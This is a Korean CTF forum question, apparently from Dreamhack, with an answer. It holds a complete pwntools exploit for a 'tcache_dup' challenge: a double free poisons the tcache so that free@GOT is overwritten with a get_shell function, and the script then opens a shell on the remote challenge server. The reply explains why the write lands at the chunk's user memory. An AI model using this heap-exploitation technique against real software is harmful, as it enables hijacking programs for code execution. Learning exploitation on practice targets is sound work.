tcache
from pwn import *

r = remote("host3.dreamhack.games",24344)
#r = process("./tcache_dup")
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")
#gdb.attach(r)
def create(size,data):
    r.sendlineafter("> ",b'1')
    r.sendlineafter("Size: ",str(size).encode())
    r.sendafter("Data: ",data)

def delete(idx):
    r.sendlineafter("> ",b'2')
    r.sendlineafter("idx: ",str(idx).encode())

getshell = e.symbols['get_shell']
success("getshell: "+hex(getshell))

free_got = e.got['free']
success("free_got: "+hex(free_got))

#tcache_dup
#tcache[0x40]: A
create(0x30,b'A')
delete(0)

#tcache[0x40]: A -> A
delete(0)

# tcache[0x40]: A -> free_got
create(0x30, p64(free_got))

# tcache[0x40]: free_got
create(0x30, b'B')

#tcache[0x40]: 
create(0x30, p64(getshell))

delete(0)

r.interactive()

위와 같이 풀긴 했는데 막상 풀고나니 궁금한 게 생겨 질문드립니다.
create(0x30, p64(free_got)를 통해서 tcache가 free_got의 주소값을 가리키게 하는 것 까지는 이해가 갔는데 어떻게 free_got를 주소로 하는 청크에 p64(getshell)을 썼는데 free_got의 값이 바뀌나요? 청크 구조에 따라서 free_got+0x10의 값이 getshell로 바뀌어야 하는 것 아닌가요?

제가 어떤 것을 잘못 이해하고 있는지 모르겠습니다.

#heap #tcache
작성자 정보
답변 1

그렇지 않습니다. fd가 가리키는 주소는 chunk의 header를 제외한 mem 부분을 가리키고 있기때문에 재사용되는 청크도 mem 부분으로 할당됩니다.
tcache: Chunk A -> free@got 라고 한다면, Chunk A가 빠지고, 한번 더 요청이 들어왔을 때 free@got 주소가 chunk의 mem으로써 반환됩니다. 즉 사용자가 data를 write되는 부분은 chunk의 mem입니다. 그리고 chunk의 mem의 주소가 현재 free@got이기때문에 getshell을 write 했다면 free@got: getshell이 덮히는 것입니다.

2024.11.12. 12:16
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기